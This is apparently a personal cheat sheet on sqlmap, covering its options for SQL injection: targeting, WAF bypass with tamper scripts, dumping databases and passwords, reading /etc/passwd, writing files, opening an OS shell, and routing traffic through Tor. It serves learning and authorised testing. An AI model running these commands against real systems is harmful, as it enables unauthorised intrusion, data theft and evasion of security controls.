SQLMap

sqlilab sqlmapessentials

sqlmap (29.4k ⭐) is a tool to detect and automatically exploit SQLi. While it may perform just fine out of the box, we will have to configure it adequately for complex targets to avoid false negatives.

To ensure the request (GET/POST/PUT/...) is correct, we usually capture it using a tool such as Burp Intruder or from a web browser network tab, by right-clicking on the request and selecting Copy value as cURL. This ensures headers and cookies are properly configured.

Where to learn? πŸŽ“


Basic Overview

To use the tool, we must first find a potentially vulnerable form/URL.

$ sqlmap -u example.com/?id=1 [...]              # GET
$ sqlmap -u example.com --data="id=1&p=0" [...]  # POST
$ sqlmap -u example.com --data-raw "id=1" [...]  # POST (cURL)
$ sqlmap -u URL --data="id=1" --method PUT [...] # PUT
$ sqlmap [...] -H 'Cookie: id=1' # add a header
$ sqlmap [...] --cookie='id=1'   # add a cookie
# see also: --host, --referer, -A/--user-agent, --mobile

After that, the tool will ask us a few questions to configure itself. We can skip them and use default values using --batch.

$ sqlmap [...] --batch

If there is a SQLi vulnerability, you can try to exploit it.

Configuration 🐍️

  • --parse-errors: display DBMS errors in sqlmap output
  • -t /tmp/log.txt: save sqlmap traffic to a file
  • -v n: set the verbosity (0-6)
  • --threads n: use $n$ threads
  • --flush-session: clear cache

Security by-pass πŸ”

  • --random-agent: by-pass some WAF/...
  • --csrf-token="xxx": indicate a non-standard CSRF cookie
  • --randomize=xxx: randomize values for parameter xxx
  • --eval="xxx=5": python code to compute parameter xxx
  • --chunked: split the request in chunks (if supported, e.g. ASP)

SQLMap Tuning

Explicit Vulnerable Parameters

You can specify which parameters are likely to be vulnerable using -p or by adding * after the parameter value.

$ sqlmap [...] -p id
$ sqlmap [...] --data "id=1*" # same

Explicit DBMS

You can use --dbms=some_dbms to explicitly inform sqlmap that you know the DBMS. Example value: sqlite.


Tamper Scripts

We can use pre-written Python scripts to tamper with the payload. They can be used to-bypass WAF or other security solutions.

$ sqlmap --list-tampers
$ sqlmap [...] --tamper=between,randomcase

Select SQLi Techniques

You can define which SQLi technique sqlmap will try:

$ sqlmap [...] --technique=BEU # Boolean Error Union

Vectors And Boundaries

Every payload is the concatenation of a vector and a boundary (prefix+suffix). For instance, <vector>-- - with -- - the suffix.

$ sqlmap [...] --prefix="" --suffix="-- -" # example

To increase the set of vectors/boundaries tested, we use --level:

$ sqlmap [...] --level 5 # from 1 to 5, default 1

We may also increase the number of vectors/boundaries tested by increasing the risk of database entry loss or other problems.

$ sqlmap [...] --risk 3 # from 1 to 3, default 1

⚠️ Risky situations are when the SQL is using an Update/Delete.


SQLMap Exploitation

Dumping Information

The may want to get some data before dumping the database.

$ sqlmap [...] --dump [...]

We also have switches for well-known queries:

  • --banner, --hostname: host information
  • --dbs, --current-db: display all databases
  • --schema: database schema
  • --column: display columns
  • --column: display columns
  • See also: --passwords, --is-dba, --current-user

We can search for tables/columns using --search:

$ sqlmap [...] --search -T user # tables "*user*"
$ sqlmap [...] --search -C pass # columns "*pass*"

πŸ“š See also the switch --all.


Read/Write files

It's possible to use SQLi to read/write files. This privilege is often only allowed to the DBA (--is-dba/--privileges => secure file priv).

$ sqlmap [...] --file-read "/etc/passwd"
$ sqlmap [...] --file-write "xxx.php" --file-dest "/tmp/xxx.php"

Dumping Records

The most common usage is to dump data.

$ sqlmap [...] --dump [...]

As this may involve a lot of data, we often fine-tune the extraction:

  • -D xxx: only keep database xxx
  • -T xxx: only keep table xxx
  • -C xx, yy: only keep columns xx, and yy
  • --start=n/--stop=m: rows to select ([n,m])
  • --where="attr LIKE '%'": filter rows

πŸ‘‰ You can use --dump-all to dump everything in the database, but you might also want to use --exclude-sysdbs.

⚠️ Add --no-cast to ensure the values are the correct ones.

πŸ“š You can select the dump format using --dump-format.

πŸ“š Use --fresh-queries to only display the new/updated records.

Operating System Shell

If we can upload files, we can use sqlmap to pop a remote shell.

$ sqlmap [...] --os-shell

We may have to set the technique manually to ease sqlmap job.


Random Notes

Load Request From A File

Assuming you caught a request, such as below:

$ cat request1.req
HTTP / HTTP/1.0
Host: www.example.com

{
  "id": 1
}

You can load it inside sqlmap using -r:

$ sqlmap -r /path/to/request.req [...]

πŸ‘‰ See also: Burp Intruder (save a request using "Save Item").

Using A Proxy

The following options might be handy:

  • --proxy="value": use a proxy for requests
  • --proxy-file: use a list of proxies
  • --tor: try to use TOR Socks proxy
  • --check-tor: test if TOR is correctly configured

Uncommon Techniques Switches

  • --code=200: use status code for "YES" in boolean-based attacks
  • --titles: use diff in titles for boolean-based attacks
  • --string=xxx: use this string for "YES" in boolean-based attacks
  • --text-only: remove all HTML and compare the text content
  • --union-cols=n: increase the likelihood of a successful union-based attack by explicitly adding the number of columns (guess/...).
  • --union-char='a': dummy value for union

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Automatic parameter finding

  • --crawl
  • --forms
  • -g

Out-of-band

  • --dns-domain="..."

Output

  • Content is stable: no major changes in output
  • ... dynamic: different parameters lead to different responses
  • ... reflective: parameter is present in the output